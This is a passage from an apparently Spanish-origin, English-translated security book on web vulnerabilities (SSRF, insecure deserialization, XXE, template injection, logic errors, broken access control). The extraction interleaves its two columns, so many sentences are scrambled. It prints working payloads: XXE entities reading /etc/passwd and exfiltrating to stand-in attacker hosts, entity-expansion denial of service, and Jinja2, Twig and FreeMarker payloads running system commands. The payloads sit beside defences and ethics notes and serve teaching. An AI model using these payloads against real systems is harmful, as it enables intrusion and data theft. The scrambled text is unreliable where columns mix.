1. Protection: Allow only specific URL schemes (http, https). - Special character filtering: Block characters that can be
2. Bypass: used to inject malicious payloads.
- Use of alternative URL schemes: file://, gopher://, dict://. - WAF (Web Application Firewall): Configure specific rules
- Newline character injection: Include line breaks in the to detect and block suspicious traffic patterns.
URL to bypass filters. - Monitoring and logging: Log all outgoing requests to iden
tify SSRF attempts.
- Software update: Keep software up to date to correct
known vulnerabilities.

web vulnerabilities 85
 3. Blind SSRF

Escalating the attack - Objective: Exploit SSRF when there is no direct response
from the vulnerable server.
While basic SSRF can reveal sensitive information, this chap - Techniques:
ter explores how attackers can escalate their SSRF atta 1. Time-based attacks: send SSRF requests that cause a
cks to achieve full exploitation, from internal network access delay in the vulnerable server's response if the request
to remote code execution. succeeds.
2. DNS-based attacks: Send SSRF requests to a DNS server
1. Internal Network Exploration controlled by the attacker and analyze the DNS queries to
determine if the SSRF request was successful.
- Goal: Map the internal network, identify open services 3. External request-based attacks: Send SSRF requests to an
and ports. external server controlled by the attacker and analyze
- Techniques: the server logs to determine if the SSRF request was
1. Port Scan: Use SSRF to send requests to different ports successful.
on the internal network and determine which ones are open.
2. Service discovery: Identify services running on open 4. Cloud SSRF
ports (HTTP, FTP, SSH, etc.).
3. Information Discovery: Access internal administration - Goal: Exploit SSRF in cloud environments to access ins
pages, control panels or other interfaces that may reveal tance metadata, cloud services and other APIs.
sensitive information. - Techniques:
- Example: 1. Instance metadata attacks: access instance metadata from
cloud providers (AWS, Azure, GCP) via SSRF.
http://sitio-vulnerable.com/ 2. Attacks on cloud services: Accessing cloud services (sto
vulnerabilidad-ssrf?url=http://192.168.0.1:80 rage, databases, functions) via SSRF.
3. Attacks on cloud APIs: Exploiting vulnerabilities in cloud
2. Attacks on Internal Services provider APIs.

- Objective: Exploit vulnerabilities in identified internal Defenses against SSRF attacks escalation
services.
- Techniques: - Input validation: Strictly validate user-supplied URLs to
- Attacks on web services: Inject malicious payloads into prevent them from pointing to internal resources.
SSRF requests to exploit vulnerabilities in internal web - URL whitelisting: Allow only requests to specific, known
applications. URLs.
- Database attacks: Accessing internal databases via SSRF - Disable unnecessary protocols: Disable protocols such as
and performing malicious SQL queries. file://, gopher://, dict:// if they are not needed.
- Attacks on file services: Reading, writing or modifying files - Web Application Firewall (WAF): Configure the WAF to
on internal servers via SSRF. detect and block SSRF attack patterns.
- Example:

http://sitio-vulnerable.com/vulnerabilidad-ssrf?url=http://
servidor-interno.com?vulnerabilidad-sql?consulta=maliciosa

86 MILLIONAIRE RECORDS
 1. Penetration testing frameworks: automate injection
Automating the attack and testing of SSRF payloads. Examples: Burp Suite Intruder,
ZAP Active Scan.
While manual detection of SSRF is possible, automation 2. Custom scripts: Develop scripts to automate speci
offers significant advantages in terms of efficiency and fic tasks, such as payload injection in forms or URL
ability to discover hidden vulnerabilities. This chapter explo parameters.
res how to automate SSRF attacks, from reconnaissance - Example: Use Burp Suite Intruder to inject a list of SSRF
to exploitation. payloads into a URL parameter and analyze server
responses to detect if any request was successfully executed.
1. Automated Reconnaissance
4. Automated Monitoring and Alerting
- Goal: Identify potential entry points for SSRF in a web
application. - Goal: Receive real-time notifications when an SSRF vul
- Tools: nerability is discovered or an exploitation attempt is
1. Web crawlers (Crawlers): collect URLs and parame detected.
ters from a web application. Examples: Burp Suite Spider, - Tools:
ZAP Spider. 1. Intrusion detection systems (IDS): monitor network traf
2. Vulnerability scanners: Search for known SSRF pat fic for SSRF attack patterns. Examples: Snort, Suricata.
terns in source code and server responses. Examples: Nuclei, 2. WAF (Web Application Firewall): Block suspicious
Bandit. requests
3. Traffic analysis: Inspect network traffic for suspicious that may indicate an SSRF attack.
requests that may indicate SSRF. Examples: Burp Suite - Example: Configure an IDS to generate alerts when SSRF
Proxy, Wireshark. requests attempting to access internal resources are
- Example: Use a web crawler to collect all URLs of a web detected.
application and then use a vulnerability scanner to scan
each page for SSRF patterns. Ethical and Legal Considerations

2. Automated Payload Generation Automating SSRF attacks must be done in a responsible

and ethical manner. It is critical to obtain proper permision
- Goal: Create custom SSRF payloads to evade filters and before testing on third-party systems and to avoid causing
maximize impact. damage or disruption.
- Tools:
1. SSRF payload generators: create SSRF payloads based
on different obfuscation techniques and protocols.
Examples: SSRFmap, tplmap.
2. Payload lists: Compilations of known and effective
SSRF payloads.
- Example: Use a SSRF payload generator to create a payload
that uses the gopher:// protocol to access internal resources.

3. Automated Injection and Testing

- Goal: Inject SSRF payloads at identified entry points and

verify if they execute.
- Tools:

web vulnerabilities 87
2 . 9 - I N S E C U R E DE S E RI- } catch (Exception e) {
e.printStackTrace();

AL I Z AT I O N # 2. 9 }
}
}
---------------
Insecure deserialization is a vulnerability that occurs when
an application deserializes untrusted data and then executes or If the data.ser file contains a manipulated object, the atta-
interprets that data as code. This vulnerability can allow an atta- cker can execute arbitrary commands on the server.
cker to execute arbitrary code, modify existing data, or perform
additional attacks. Insecure deserialization is one of the most dan- Example 2: Data Manipulation
gerous vulnerabilities in applications that handle serialized data,
especially in systems that use objects to exchange information. An application that uses serialized objects to store user
information could be exposed to data manipulation. For exam-
Understanding Insecure Deserialization ple, if a serialized object contains a user's role, an attacker could
modify the role to gain administrative privileges.
Serialization is the process of converting an object into a
format that can be stored or transmitted and then reconstruc- ---------------
ted. Deserialization is the reverse process. When an application # Example in Python using pickle
deserializes data without properly validating its origin or content, import pickle
it may be exposed to insecure deserialization.
class User:
Real Examples of Insecure Deserialization def __init__(self, username, role):
self.username = username
To better understand how insecure deserialization works, self.role = role
let's look at some examples that illustrate its exploitation and
possible impacts. # An attacker can create an object with administrator role
malicious_user = User("attacker", "admin")
Example 1: Arbitrary Code Execution serialized_user = pickle.dumps(malicious_user)

Suppose a Java application deserializes objects that are # The application deserializes the object without validation.
received via an HTTP request. If an attacker can manipulate the deserialized_user = pickle.loads(serialized_user)
contents of those objects, he could introduce malicious code to print(deserialized_user.role) # Output: admin
be executed during the deserialization process. ---------------

--------------- Risks and Consequences

import java.io.*;
Insecure deserialization vulnerabilities can have serious
public class VulnerableApp { consequences:
public static void main(String[] args) {
try { Remote Code Execution (RCE): Attackers can execute arbi-
ObjectInputStream ois = new trary code on the server, which can lead to compromising the
ObjectInputStream(new FileInputStream("data.ser")); entire system.
Object obj = ois.readObject(); Data Manipulation: Data within deserialized objects can be
ois.close(); manipulated to escalate privileges or alter critical information.

88 MILLIONAIRE RECORDS
 Unauthorized Access: Attackers can access sensitive data 4. Use Secure Libraries: Use libraries and frameworks
without proper authorization. that provide secure deserialization mechanisms. Some modern
Denial of Service (DoS): Deserialization attacks can con- libraries have built-in security measures to prevent insecure
sume system resources, causing a denial of service. deserialization.

Preventing Insecure Deserialization 5. Monitoring and Logging: Implement monitoring and log-
ging of deserialization events to detect and respond to suspi-
To prevent insecure deserialization, it is essential to imple- cious activity.
ment appropriate security measures:
Insecure deserialization is a critical vulnerability that can
1. Use of Secure Data Formats: whenever possible, avoid have a devastating impact on the security of an application. By
deserializing data and use more secure formats, such as JSON understanding how deserialization works and the techniques
or XML, which do not allow code execution. attackers use to exploit it, you can implement effective security
measures to protect your applications. Be sure to use secure
--------------- data formats, validate and sanitize inputs, implement whitelis-
import json ting, use secure libraries and monitor deserialization activities.

# Using JSON instead of pickle

user_data = json.dumps({"username": "user", "role": "user"})
parsed_data = json.loads(user_data)
---------------

2. Input Validation and Sanitization: Validate and sanitize all

input data before deserializing it. Make sure that they come from
reliable sources and that they comply with the expected formats.

3. Whitelist Implementation: Use whitelists to control which

classes can be deserialized. This helps prevent deserialization of
unauthorized or dangerous classes.

---------------
// Java example using a whitelist
ObjectInputStream ois = new ObjectInputStream(new
FileInputStream("data.ser")) {
protected Class<?> resolveClass(ObjectStreamClass
desc) throws IOException, ClassNotFoundException {
if (desc.getName().equals("com.example.SafeClass")) {
return super.resolveClass(desc);
} else {
throw new InvalidClassException("Unauthorized
deserialization attempt", desc.getName());
}
}
};
---------------

web vulnerabilities 89
2 . 1 0 - X M L E X TE R NA L Example 2: Network Requests (SSRF)

EN T I T Y( X X E ) # 2. 1 0 XXE can also be used to make network requests from the

affected server, a type of attack known as Server-Side Request
Forgery (SSRF).

The XML External Entity (XXE) vulnerability occurs when ----------------

an application that processes XML data does not properly disa- <?xml version="1.0" encoding="ISO-8859-1"?>
ble external entity resolution within XML entries. This vulnera- <!DOCTYPE foo [
bility can allow attackers to access local files, perform network <!ELEMENT foo ANY >
requests, and in some cases, execute remote code. XXE is a <!ENTITY xxe SYSTEM "http://attacker.com/malicious"
serious security threat to any application that accepts or mani- >]><foo>&xxe;</foo>
pulates XML data. ----------------

Understanding the XXE Vulnerability In this case, the external entity points to a remote resource.
The server makes an HTTP request to the URL specified by the
Most modern applications use XML for data transmission. attacker.
XML documents can contain external entities, which are refe-
rences to external resources. If these references are not handled Risks and Consequences
correctly, they can be exploited by attackers to extract sensitive
information or execute malicious code. XXE vulnerabilities can have serious consequences:

Real Examples of XXE 1. Data Exfiltration: Attackers can read sensitive local files
and exfiltrate confidential information.
To understand how the XXE vulnerability works, let's look 2. Denial of Service (DoS): XXE attacks can be used to
at some examples that illustrate its exploitation and possible exhaust server resources and cause a denial of service.
impacts. 3. Remote Code Execution (RCE): In some cases, XXE can
lead to remote code execution on the server.
Example 1: Reading Local Files 4. Network Requests (SSRF): Attackers can make unau-
thorized network requests from the affected server,
An attacker can inject an external entity into an XML request accessing internal or external resources.
to read local files on the server.
Preventing Vulnerability XXE
----------------
<?xml version="1.0" encoding="ISO-8859-1"?> To prevent the XXE vulnerability, it is crucial to follow best
<!DOCTYPE foo [ security practices when processing XML data:
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</ 1. Disable External Entities: disable external entity resolu-
foo> tion in XML parsers.
----------------
If the application does not disable external entity resolu-
tion, the contents of the /etc/passwd file will be included in the ----------------
server response. // Java example
DocumentBuilderFactory dbf = DocumentBuilderFactory.
newInstance();

90 MILLIONAIRE RECORDS
 dbf.setFeature("http://apache.org/xml/features/disallow-
-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-ge-
neral-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-para-
meter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalida-
ting/load-external-dtd", false);
----------------

----------------
# Example in Python using defusedxml
from defusedxml.lxml import parse

# Parse XML in a safe way

xml_data = parse('data.xml')
----------------

2. Input Validation and Sanitization: Validate and sanitize all

XML inputs to ensure that they comply with expected formats
and do not contain malicious external entities.

3. Use of Secure Libraries: Use libraries and frameworks that

provide secure XML parsing mechanisms. Some modern libraries
have built-in security measures to prevent XXE.

4. Patching and Updating: Keep your libraries and XML par-

sers updated with the latest security patches to protect against
known vulnerabilities.

5. Monitoring and Logging: Implement XML activity moni-

toring and logging to detect and respond to XXE exploitation
attempts.

The XML External Entity (XXE) vulnerability is a critical

threat that can compromise the security of an application if
not handled properly. By understanding how XXE works and
the techniques attackers use to exploit it, you can implement
effective security measures to protect your applications. Be sure
to disable external entity resolution, validate and sanitize XML
inputs, use secure libraries, keep your systems up to date, and
monitor XML activities.

web vulnerabilities 91
 4. Exploiting XXE
Advanced search
- File exfiltration: Reads sensitive files from the server file
XML external entity injection (XXE) vulnerabilities can have system, such as configuration files or passwords.
serious consequences, allowing attackers to access - SSRF (Server-Side Request Forgery) attacks: Makes
sensitive files, perform denial-of-service (DoS) atta- requests from the server to other internal or exter-
cks and even execute code remotely. This chapter will nal systems.
guide you through the process of finding and exploi- - DoS attacks: Injects recursive entities that consume ser-
ting XXE, from identifying entry points to executing ver resources and cause the server to crash.
malicious payloads. - Remote Code Execution (RCE): In some cases, XXE can
lead to code execution on the server if certain condi-
1. What is XXE? tions are met.

- XML: Extensible Markup Language used to structure data. 5. Examples of XXE Payloads
- Entities: Storage units within an XML document that may
represent data or references to external data. Basic XXE:
- External Entities: Entities that refer to external resources,
such as files or URLs. <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/pas-
- XXE Vulnerability: Occurs when an XML parser processes swd"> ]>
untrusted external entities provided by an attacker. <data>&xxe;</data>.

2. Identifying Entry Points Blind XXE:

- Functionalities that process XML: Look for XML file loa- <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://sitio-
ding forms, APIs that accept XML data, SOAP-based -atacante.com/malicioso.dtd"> %xxe; ]>
web services, etc.
- Traffic analysis: Use tools such as Burp Suite or ZAP to XXE with external DTD:
intercept and analyze requests and responses con-
taining XML. <!DOCTYPE foo [ <!ENTITY % file SYSTEM "file:///etc/
- Documentation: Review application documentation for passwd"> <!ENTITY % eval "<!ENTITY &#x25; exfil-
mentions of XML or functionality that may be sus- trate SYSTEM 'http://sitio-atacante.com/?x=%file;'>">
ceptible to XXE. %eval; %exfiltrate; ]>

3. Testing the Vulnerability 6. XXE prevention

- Basic test: Replace an internal entity in the XML with an - Disable external entity processing: Configures the XML
external entity that references a local file controlled parser not to process external entities.
by the attacker (e.g., /etc/passwd). - Input validation: Strictly validates XML data before
- Blind XXE: If no direct response is received, uses Blind processing.
XXE techniques to exfiltrate data through requests to - WAF (Web Application Firewall): Uses a WAF to detect
a server controlled by the attacker. and block XXE attack patterns.
- XXE with DTD (Document Type Definition): Injects an
external DTD defining malicious entities to execute
more sophisticated attacks.

92 MILLIONAIRE RECORDS
Additional Considerations

- XXE in SOAP: XXE can be especially dangerous in SOAP-

based web services.
- XXE in REST APIs: Some REST APIs that accept XML may
also be vulnerable to XXE.
- XXE in mobile applications: Mobile applications that pro-
cess XML may also be vulnerable.

web vulnerabilities 93
 ]>
Sobrepasando la protección
- DoS attack with entity expansion:

Developers implement various protection measures to XML

mitigate these attacks, but clever attackers are always looking
for ways to bypass these defenses. This chapter explores the <!DOCTYPE data [
techniques and strategies used to overcome XXE protection <!ENTITY a0 "two">
and exploit these vulnerabilities. <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0
;&a0;&a0;">
1. Basic Protection and its Limitations <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1
;&a1;&a1;">
- Disabling external entities: The most basic form of pro- ]>
tection is to disable external entity resolution in the XML parser. <data>&a2;</data>.
- Limitations: This measure can be effective against simple
XXE attacks, but does not protect against more sophisticated - Use of parameterized entities:
attacks that use internal entities or evasion techniques.
XML
2. XXE Protection Evasion Techniques
<!DOCTYPE foo [
- Internal entities: Use internal entities to define and refe- <!ENTITY % file SYSTEM "file:///etc/passwd">
rence malicious entities within the XML document. <!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM
- Denial-of-service (DoS) attacks: Exploiting recursive entity 'http://sitio-atacante.com/?x=%file;'>">
expansion to consume server resources and cause a denial of %eval;
service. %exfiltrate;
- Parameterized entities: Using parameterized entities to ]>
obfuscate malicious payload and evade security filters.
- Injecting external entities into attributes: Inject exter- 4. Advanced XXE Attack Mitigation.
nal entities into XML attributes instead of elements to avoid
detection. - Entity Whitelisting: Allow only a specific set of known
- Use of alternative protocols: Use protocols such as FTP or and secure entities.
gopher instead of HTTP to retrieve external entities and avoid - Schema validation: Use XML schemas to validate the
security filters. structure and content of XML documents before proces-
sing them.
3. Examples of XXE Protection Evasion - Static security analysis (SAST): Use SAST tools to analyze
source code for XXE vulnerabilities.
- Evasion of disabling external entities: - Dynamic security analysis (DAST): Perform security tests
on the running application to detect XXE vulnerabilities.
XML - WAF (Web Application Firewall): Configure a WAF to
detect and block XXE attack patterns.
<!DOCTYPE foo [
<!ENTITY % localDTD SYSTEM "file:///etc/passwd"> Final Considerations
<!ENTITY % payload "<!ENTITY exfil SYSTEM 'http://sitio-
-atacante.com/?data=%localDTD;'>"> Protection against XXE attacks requires a multi-layered
%payload; approach that combines preventive measures, detection

94 MILLIONAIRE RECORDS
and mitigation. Staying up-to-date on the latest evasion <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://sitio-ata-
techniques and applying security patches in a timely man- cante/script-malicioso.php"> ]>
ner is critical. <foo>&xxe;</foo>

3. File System Attacks

Escalating the attack
- Goal: Read or modify arbitrary files on the server.
While exfiltration of sensitive data is a serious risk, XXE - Technique: use parameter entities to access local files
attacks can be scaled for even greater impact. This chapter through protocol wrappers such as file://.
explores the advanced techniques and strategies attackers - Example:
use to maximize the damage caused by an XXE.
XML
1. Denial of Service (DoS) Attacks
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/pas-
- Objective: Disrupt the normal operation of the applica- swd"> ]>
tion or server. <foo>&xxe;</foo>
- Technique: Exploit the ability of XML entities to perform
recursive references and consume system resources. 4. Internal Network Attacks
- Example:
- Goal: Scan the internal network behind the vulnerable
XML server.
- Technique: Use parameter entities to make requests to
<!DOCTYPE data [ internal services (e.g., databases) or scan ports.
<!ENTITY a0 "two">
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0 5. Blind XXE
;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1 - Objective: Exploit XXE when there is no direct response
;&a1;&a1;"> from the server.
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2 - Technique: Use external entities to send data to a ser-
;&a2;&a1;"> ver controlled by the attacker, allowing information about
]> the XML structure and server configuration to be inferred.
<data>&a3;</data>.
Defenses against XXE attack escalation
2. Remote Code Execution (RCE)
- Disable external entity processing (DTD): This is the most
- Goal: Execute arbitrary code on the server that proces- effective measure.
ses the XML. - Use a secure XML parser: Opt for parsers that do not
- Technique: Depends on server configuration and XML support external DTDs or parameter entities.
libraries used. Some XXE vulnerabilities allow loading exter- - Input validation: Strictly verify the structure and content
nal entities from protocols such as FTP or HTTP, which can of incoming XML documents.
lead to the inclusion of malicious scripts. - WAF (Web Application Firewall): Configure rules to detect
- Example: (Requires specific server configuration) and block XXE attack patterns.

XML

web vulnerabilities 95
 information, execute commands or cause outages.
- Tools:
Automating the attack XXE Exploitation Frameworks: provide a set of tools and
scripts to automate the injection of XXE payloads and exploi-
Automating this process allows security researchers and tation of vulnerabilities. Examples: XXExploiter, XXEServ.
attackers to scale their efforts, discover XXE vulnerabili- Custom scripts: Develop your own scripts to automate spe-
ties more efficiently and perform more sophisticated atta- cific tasks, such as extracting data from files or executing
cks. This chapter explores the key tools and techniques for commands via XXE.
automating XXE attacks, from detection to exploitation. - Example: Use an XXE exploit framework to automate
the injection of an XXE payload that attempts to execute
Automated XXE Detection a command on the vulnerable server operating system.

- Goal: Identify web applications and services that are poten- 4. XXE Attack Scaling and Optimization
tially vulnerable to XXE.
- Tools: - Goal: Maximize the impact of XXE attacks by automating
1. Vulnerability scanners: look for known pat- tasks such as enumerating files and directories, searching
terns of XXE vulnerabilities in HTTP requests and respon- for specific files, or exploiting multiple XXE vulnerabilities
ses. Examples: OWASP ZAP, Burp Suite. in parallel.
2. Fuzzers: Send specially designed XXE payloads to appli- - Techniques:
cations to test their behavior and detect vulnerabilities. 1. recursive file search: use XXE payloads to enumerate
Examples: Wfuzz, ffuf. files and directories recursively on the server file system.
- Example: Using a vulnerability scanner to automatically 2. Massive data exfiltration: Automate the extrac-
scan a web application for signs of XXE vulnerabilities, such tion of large amounts of data through multiple XXE payloads.
as revealing errors in responses or the ability to include *Parallel exploitation: Using multiple threads or processes
external entities in XML documents. to exploit multiple XXE vulnerabilities simultaneously.
- Example: Develop a script that uses XXE to enumerate
2. Automated Generation of XXE Payloads all files in a specific directory on the vulnerable server and
then attempt to download them automatically.
- Goal: Create custom XXE payloads for different attack
scenarios, such as data exfiltration, remote code execution Ethical and Legal Considerations
(RCE) or denial of service (DoS).
- Tools: Automating XXE attacks must be done in a responsible and
XXE payload generators: create XXE payloads based on ethical manner. It is critical to obtain proper permission
predefined templates or on specific parameters. Examples: before testing on third-party systems and to avoid causing
XXEinjector, xxe-payload-generator. unnecessary damage or disruption.
2. XXE payload libraries: Collections of ready-
-to-use XXE payloads tested in different environments.
- Example: Use an XXE payload generator to create a payload
that attempts to read the /etc/passwd file of a vulnerable
system and send it to a server controlled by the attacker.

3. Automated Injection and Exploitation

- Goal: Inject XXE payloads into vulnerable applications

and automate the exploitation process to extract sensitive

96 MILLIONAIRE RECORDS
web vulnerabilities 97
2 . 1 0 - T E M P L ATE I NJE C- The problem arises when the application does not properly
validate and sanitize the data that is inserted into the template.

TIO N # 2. 10 If an attacker can control the value of user_name, they could

inject malicious code instead. For example:

{{ 7*7 }}
Imagine you commission an artist to paint your portrait, but
instead of using your image, they use that of a complete stranger. If the template engine is not protected, it will interpret this
The result might be a work of art, but it's definitely not what you expression and display the result (49) on the page. But an atta-
expected. In the world of web development, Template Injection cker could go further and inject more dangerous code, such as:
is like that erroneous portrait: the application works, but the
result is unexpected and potentially dangerous. {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__
name__ == 'catch_warnings' %}{{{ c.__init__.__globals__['__buil-
In essence, Template Injection is a vulnerability that occurs tins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{%
when a web application uses untrusted data to build dynamic endfor %}{% endfor %}
templates. If an attacker gains control of this data, they can inject
malicious code into the template, which will then be executed This payload, designed for the Jinja2 template engine,
by the application with the same privileges as the template. attempts to execute the id command on the server and display
the result on the page.
Why is Template Injection So Dangerous?
Examples of Template Injection Payloads
Template injection can have devastating consequences for
the security of a web application: Template injection payloads may vary depending on the
engine used. Here are some examples for the most popular
- Remote Code Execution (RCE): This is the holy grail of engines:
many attackers. It allows them to execute arbitrary commands
on the server, giving them full control of the system. - Twig: {{_self.env.registerUndefinedFilterCallback("exec")}}
- Information Disclosure: Attackers can use template injec- {{_self.env.getFilter("id")}}}
tion to read sensitive files from the server, such as passwords, - Jinja2: {{ config.items() }}}
API keys or client data. - FreeMarker: <#assign ex = "freemarker.template.utility.
- Denial of Service (DoS) attacks: They can inject code that Execute"?new()>${ ex("id")}
overloads the application, making it unusable for legitimate users.
How to Protect Yourself from Template Injection.
Anatomy of a Template Injection Attack
The best defense against template injection is prevention:
To understand how template injection works, we must first
understand how template engines work. These engines allow - Rigorous Input Validation: Never rely on user-supplied
developers to create templates with placeholders (variables) that data. Always validate and sanitize inputs before using them in
are then populated with dynamic data. For example: a template.
- Use Secure Templates: Opt for template engines that offer
Hello, {{ user_name }} built-in security mechanisms, such as sandboxing or whitelisting
of allowed functions.
In this case, {{ user_name }} is a variable that will be repla- - Principle of Least Privilege: Limit template permissions so
ced by the user's actual name when the template is rendered. that only necessary resources can be accessed.
- Security Updates: Keep your software up to date to fix

98 MILLIONAIRE RECORDS
known vulnerabilities.

Template injection is a powerful vulnerability that can be

exploited to cause serious damage. By understanding how it
works and how to protect yourself, you can ensure the security
of your web applications and protect your users from malicious
attacks.

web vulnerabilities 99
2 . 1 1 -AP P L I C AT I O N L O G- access or modify the same data at the same time, unexpected
results may occur.

I C ER R ORS # 2. 1 1 Finding and Correcting Application Logic Errors

Finding and correcting logic errors can be challenging, as

Imagine you ask a friend to bring you a latte, but he comes they often do not manifest themselves as obvious errors. Here
back with an iced tea. There's nothing inherently wrong with the are some strategies that can help:
iced tea, but it wasn't what you wanted. In the software world,
Application Logic Errors are like that unexpected iced tea: the - Thorough Code Review: Carefully examine the source
application works, but not the way it should. code for logic errors.
- Unit and Integration Testing: Create automated tests to
Application logic errors are flaws in the design or imple- verify that each component of the application works as expected.
mentation of an application's business logic. Unlike syntax or - Black Box Testing: Tests the application from the user's
runtime errors, which prevent the application from running, perspective, attempting to perform actions that could trigger
logic errors allow the application to run, but produce incorrect logic errors.
or unexpected results. - Monitoring and Logging: Records the behavior of the
application and analyzes the logs for patterns that may indicate
Why are Application Logic Errors Dangerous? logic errors.

Although not always as obvious as a system failure, logic Application logic errors are a silent but dangerous threat
errors can have serious consequences: to the security and reliability of any software. By understanding
how to identify and correct them, you can improve the quality
- Financial losses: A logic error in an e-commerce system of your application and protect your users from unexpected and
could allow users to purchase products at incorrect prices or potentially harmful results.
without paying.
- Data leaks: A logic error in a user management system
could allow users to access data they should not have access to.
- Reputational damage: A logic error in a voting system could
lead to incorrect results, undermining confidence in the process.

Common Examples of Application Logic Errors

Logic errors can manifest themselves in many ways, but

here are some common examples:

1. Incorrect Calculations: An error in the tax calculation for-

mula could lead to incorrect taxes being charged to customers.
2. Insufficient Input Validation: If an application does not
properly validate user input, an attacker could enter malicious
data that causes unexpected behavior.
Incorrect Error Handling: If an application does not handle
errors correctly, it could reveal sensitive information to attackers
or fail unexpectedly.
4. Race Conditions: If two or more processes attempt to

100 MILLIONAIRE RECORDS

 that allows a user to vote multiple times.
Advanced search
3. Testing Techniques for Logic Errors
Unlike technical vulnerabilities such as XSS or SQL Injection,
logic bugs are more difficult to detect and exploit, but can have Goal: Design and execute specific tests to uncover logic
a significant impact on the security and functionality of an appli- errors in the application.
cation. This chapter explores how to identify and exploit logic 2. Techniques:
errors in applications. - Black box testing: Test the application without knowing its
source code, focusing on the inputs and outputs of the system.
1. Understanding the Business Flow - Gray box testing: Using partial knowledge of the source
code to design more specific tests.
Goal: To understand how the application is supposed to - White box testing: Analyze the source code to identify
work at each stage of the business process 2. possible logic errors.
2. Techniques: - Fuzzing: Sending random or unexpected inputs to the
- Requirements Analysis: Review the application requi- application to detect anomalous behavior.
rements documentation to understand the business rules and - Traffic analysis: Inspect network traffic between client and
constraints. server to identify inconsistencies or unexpected data.
- Workflow mapping: Create flowcharts to visualize the - Example: Performing black box testing on an online
different stages of the business process and how they interact banking application to verify if it is possible to transfer money
with each other. to an invalid account.
- Functional testing: Perform manual or automated tests
to verify that the application behaves as expected at each stage 4. Logic Error Exploitation
of the workflow.
- Example: Analyze the purchase process in an online store Goal: Exploit identified logic errors to gain unauthorized
to understand how shopping carts, payments, shipments and access, manipulate data, or cause other negative impacts on
order confirmations are handled. the application.
2. Techniques:
2. Identifying Logic Error Patterns - Parameter manipulation: Modifying HTTP request para-
meters to bypass security controls or access restricted functions.
Objective: Recognize common patterns of logic errors that - Malicious data injection: Sending unexpected or malicious
can occur in different types of applications. data to the application to cause errors or unwanted behavior.
2. Common patterns: - Brute force attacks: Attempting different combinations of
- Incorrect state handling: The application does not correctly inputs to find valid values to bypass security controls.
validate or update the state of an object or process. - Example: Exploiting a logic error in an e-commerce appli-
- Insufficient input validation: The application does not pro- cation that allows products to be purchased at a lower price
perly verify the data entered by the user. than the actual price.
- Incorrect calculations: The application performs erroneous
calculations in prices, discounts, quantities, etc. Ethical and Legal Considerations
Inadequate access control: The application does not
adequately restrict access to sensitive functions or data. Searching for and exploiting logic errors must be done in
- Privilege escalation: A user can perform actions that he/ a responsible and ethical manner. It is important to obtain pro-
she should not be able to do. per permission before testing on third-party applications and to
- Parameter manipulation: A user can modify application avoid causing damage or disruption.
parameters to obtain undesired results.
- Example: Identifying a logic error in an online voting system

web vulnerabilities 101

 logic error to overload the application and make it inaccessible
Bypass Protection to legitimate users.

Application logic vulnerabilities are errors in the design or How to Detect and Prevent Application Logic Bugs
implementation of an application that an attacker can exploit
to bypass security protections and gain unauthorized access or - Code Analysis: Review source code for logic errors, such
perform unwanted actions. These errors are often more difficult as incorrect authorization checks or miscalculations.
to detect than traditional technical vulnerabilities because they - Penetration Testing: Perform security testing to simulate
require a deep understanding of how the application works and attacks and discover application logic vulnerabilities.
how its various components interact. - Design Review: Analyze application design to identify
potential weaknesses in business logic.
Types of Application Logic Errors - Threat Modeling: Identify potential threats and design the
application to mitigate them.
- Authorization Errors: These occur when an application - Input Validation: Validate all data provided by the user
does not properly verify whether a user has permission to per- to ensure that it is secure and complies with the application
form a specific action. For example, an attacker could modify the requirements.
URL of a protected resource to access it without authentication. - Error Handling: Implement proper error handling to pre-
- Access Control Errors: These allow an attacker to access vent attackers from obtaining sensitive information from error
resources or functionality to which he/she should not have messages.
access. For example, an attacker could manipulate the parame- - Role-Based Access Control: Implement granular access
ters of a request to view another user's confidential information. control to ensure that users can only access the resources and
- Input Validation Errors: Occur when an application fails functions to which they are entitled.
to properly validate user-supplied data, allowing an attacker to - Security Auditing: Conduct periodic security audits to
inject malicious code or manipulate the application's behavior. identify and correct application logic vulnerabilities.
- State Handling Errors: Occur when an application does not
properly manage the state of a session or transaction, allowing Detecting and preventing application logic errors is an
an attacker to manipulate the flow of the application or perform ongoing challenge that requires a multidisciplinary approach and
unauthorized actions. a combination of tools and techniques. By understanding the
- Calculation Errors: Occur when an application performs different types of logic errors and how to exploit them, develo-
incorrect calculations, allowing an attacker to manipulate prices, pers and security professionals can build more secure and resi-
quantities or other important values. lient applications.

Exploitation Examples of Application Logic Errors

- Parameter Manipulation: An attacker modifies the parame-

ters of an HTTP request (e.g., in the URL or in a form) to bypass
access restrictions or perform unauthorized actions.
- Brute Force Attacks: An attacker attempts to guess pas-
swords, verification codes or other secret values by sending
multiple requests.
- Replay Attacks: An attacker captures a legitimate request
and replays it multiple times to perform an unauthorized action.
- Privilege Escalation Attacks: An attacker exploits an autho-
rization error to gain access to restricted functions or data.
- Denial of Service (DoS) attacks: An attacker exploits a

102 MILLIONAIRE RECORDS

web vulnerabilities 103
2 . 1 2 -B R O K E N A C C E S S to which he should not have access. For example, changing the
user ID in a URL to view another user's data.

CO N T R O L ( BA C ) # 2. 1 2 Example:

https://sitio.com/perfil?usuario=123
Imagine if a bank had no security guards and no safes.
Anyone could walk in and take whatever money they wanted. An attacker could change the user value to another
